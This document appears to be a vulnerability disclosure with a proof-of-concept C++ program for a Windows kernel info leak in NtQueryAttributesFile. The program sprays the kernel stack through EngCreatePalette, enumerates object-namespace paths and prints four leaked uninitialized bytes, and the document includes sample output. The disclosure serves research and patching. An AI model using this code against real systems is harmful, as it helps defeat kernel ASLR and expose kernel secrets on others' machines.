1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 |
/* We have discovered that the nt!NtQueryAttributesFile system call invoked with paths of certain kernel objects discloses uninitialized kernel stack memory to user-mode clients. The vulnerability affects Windows 7 to 10, 32/64-bit. The paths that we have observed to trigger the leak in our test Windows 10 (1709) 64-bit VM are: --- cut --- "\ArcName\multi(0)disk(0)rdisk(0)partition(1)" "\GLOBAL??\Harddisk0Partition1" "\GLOBAL??\Volume{GUID}" "\GLOBAL??\SystemPartition" "\GLOBAL??\STORAGE#Volume#{GUID}#0000000000100000#{GUID}" "\GLOBAL??\HarddiskVolume1" "\Device\SystemPartition" "\Device\HarddiskVolume1" --- cut --- The output structure returned by the system call is FILE_BASIC_INFORMATION [1]: --- cut --- typedef struct _FILE_BASIC_INFORMATION { LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; ULONG FileAttributes; } FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION; --- cut --- In case of the above affected paths, the 4-byte "FileAttributes" field is never initialized. As the kernel uses a temporary copy of the structure that is later passed to user-mode, the bug results in the disclosure of those 4 uninitialized kernel stack bytes. This can be observed by running the attached proof-of-concept program, which invokes nt!NtQueryAttributesFile against every object in the global object namespace, preceded by spraying the kernel stack with a 0x41 ('A') marker byte. Relevant parts of the output are shown below: --- cut --- Name: \ArcName\multi(0)disk(0)rdisk(0)partition(1), Status: c000000d 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 41 41 41 41 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? AAAA............ Name: \GLOBAL??\Harddisk0Partition1, Status: c000000d 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 41 41 41 41 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? AAAA............ Name: \GLOBAL??\Volume{GUID}, Status: c000000d 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 41 41 41 41 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? AAAA............ Name: \GLOBAL??\SystemPartition, Status: c000000d 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 41 41 41 41 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? AAAA............ Name: \GLOBAL??\STORAGE#Volume#{GUID}#0000000000100000#{GUID}, Status: c000000d 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 41 41 41 41 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? AAAA............ Name: \GLOBAL??\HarddiskVolume1, Status: c000000d 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 41 41 41 41 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? AAAA............ Name: \Device\SystemPartition, Status: c000000d 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 41 41 41 41 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? AAAA............ Name: \Device\HarddiskVolume1, Status: c000000d 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 41 41 41 41 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? AAAA............ --- cut --- Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space. */ #include <Windows.h> #include <winternl.h> #include <cstdio> #pragma comment(lib, "ntdll.lib") #define DIRECTORY_QUERY0x0001 #define DIRECTORY_TRAVERSE 0x0002 typedef struct _FILE_BASIC_INFORMATION { LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; ULONG FileAttributes; } FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION; typedef struct _OBJECT_DIRECTORY_INFORMATION { UNICODE_STRING Name; UNICODE_STRING TypeName; } OBJECT_DIRECTORY_INFORMATION, *POBJECT_DIRECTORY_INFORMATION; extern "C" { NTSTATUS NTAPI NtQueryAttributesFile( _In_POBJECT_ATTRIBUTESObjectAttributes, _Out_ PFILE_BASIC_INFORMATION FileInformation ); NTSTATUS WINAPI NtQueryDirectoryObject( _In_HANDLEDirectoryHandle, _Out_opt_ PVOID Buffer, _In_ULONG Length, _In_BOOLEAN ReturnSingleEntry, _In_BOOLEAN RestartScan, _Inout_ PULONGContext, _Out_opt_ PULONGReturnLength ); NTSTATUS WINAPI NtOpenDirectoryObject( _Out_ PHANDLEDirectoryHandle, _In_ACCESS_MASKDesiredAccess, _In_POBJECT_ATTRIBUTES ObjectAttributes ); }; VOID PrintHex(PVOID Buffer, ULONG dwBytes) { PBYTE Data = (PBYTE)Buffer; for (ULONG i = 0; i < dwBytes; i += 16) { printf("%.8x: ", i); for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes) { printf("%.2x ", Data[i + j]); } else { printf("?? "); } } for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) { printf("%c", Data[i + j]); } else { printf("."); } } printf("\n"); } } VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) { for (ULONG i = 0; i < size; i++) { ptr[i] = byte; } } VOID SprayKernelStack() { static bool initialized = false; static HPALETTE(NTAPI *EngCreatePalette)( _In_ ULONG iMode, _In_ ULONG cColors, _In_ ULONG *pulColors, _In_ FLONG flRed, _In_ FLONG flGreen, _In_ FLONG flBlue ); if (!initialized) { EngCreatePalette = (HPALETTE(NTAPI*)(ULONG, ULONG, ULONG *, FLONG, FLONG, FLONG))GetProcAddress(LoadLibrary(L"gdi32.dll"), "EngCreatePalette"); initialized = true; } static ULONG buffer[256]; MyMemset((PBYTE)buffer, 'A', sizeof(buffer)); EngCreatePalette(1, ARRAYSIZE(buffer), buffer, 0, 0, 0); MyMemset((PBYTE)buffer, 'B', sizeof(buffer)); } VOID QueryFile(HANDLE RootDirectory, PCWSTR Path) { OBJECT_ATTRIBUTES Attributes; UNICODE_STRING Name; RtlInitUnicodeString(&Name, Path); InitializeObjectAttributes(&Attributes, &Name, OBJ_CASE_INSENSITIVE, RootDirectory, NULL); FILE_BASIC_INFORMATION FileInformation, EmptyInformation; RtlZeroMemory(&FileInformation, sizeof(FileInformation)); RtlZeroMemory(&EmptyInformation, sizeof(EmptyInformation)); SprayKernelStack(); NTSTATUS Status = NtQueryAttributesFile(&Attributes, &FileInformation); if (memcmp(&FileInformation, &EmptyInformation, sizeof(FileInformation)) != 0) { wprintf(L"Name: %s, Status: %x\n", Path, Status); PrintHex(&FileInformation, sizeof(FileInformation)); } } VOID EnumerateDirectory(PWCHAR path) { HANDLE hdir = NULL; OBJECT_ATTRIBUTES attrs; UNICODE_STRING name; RtlInitUnicodeString(&name, path); InitializeObjectAttributes(&attrs, &name, 0, NULL, NULL); NTSTATUS st = NtOpenDirectoryObject(&hdir, DIRECTORY_QUERY | DIRECTORY_TRAVERSE, &attrs); if (NT_SUCCESS(st)) { CONST ULONG kMaxBufferSize = 128 * 1024; PBYTE buffer = (PBYTE)malloc(kMaxBufferSize); ULONG Context; st = NtQueryDirectoryObject(hdir, buffer, kMaxBufferSize, FALSE, TRUE, &Context, NULL); if (NT_SUCCESS(st)) { POBJECT_DIRECTORY_INFORMATION pdi = (POBJECT_DIRECTORY_INFORMATION)buffer; while (pdi->Name.Buffer != NULL) { WCHAR path_buffer[MAX_PATH]; if (!wcscmp(path, L"\\")) { wsprintf(path_buffer, L"%s%s", path, pdi->Name.Buffer); } else { wsprintf(path_buffer, L"%s\\%s", path, pdi->Name.Buffer); } if (!wcscmp(pdi->TypeName.Buffer, L"Directory")) { EnumerateDirectory(path_buffer); } else { QueryFile(NULL, path_buffer); wcscat_s(path_buffer, L"\\"); QueryFile(NULL, path_buffer); } pdi++; } } free(buffer); NtClose(hdir); } } int main() { EnumerateDirectory(L"\\"); return 0; } |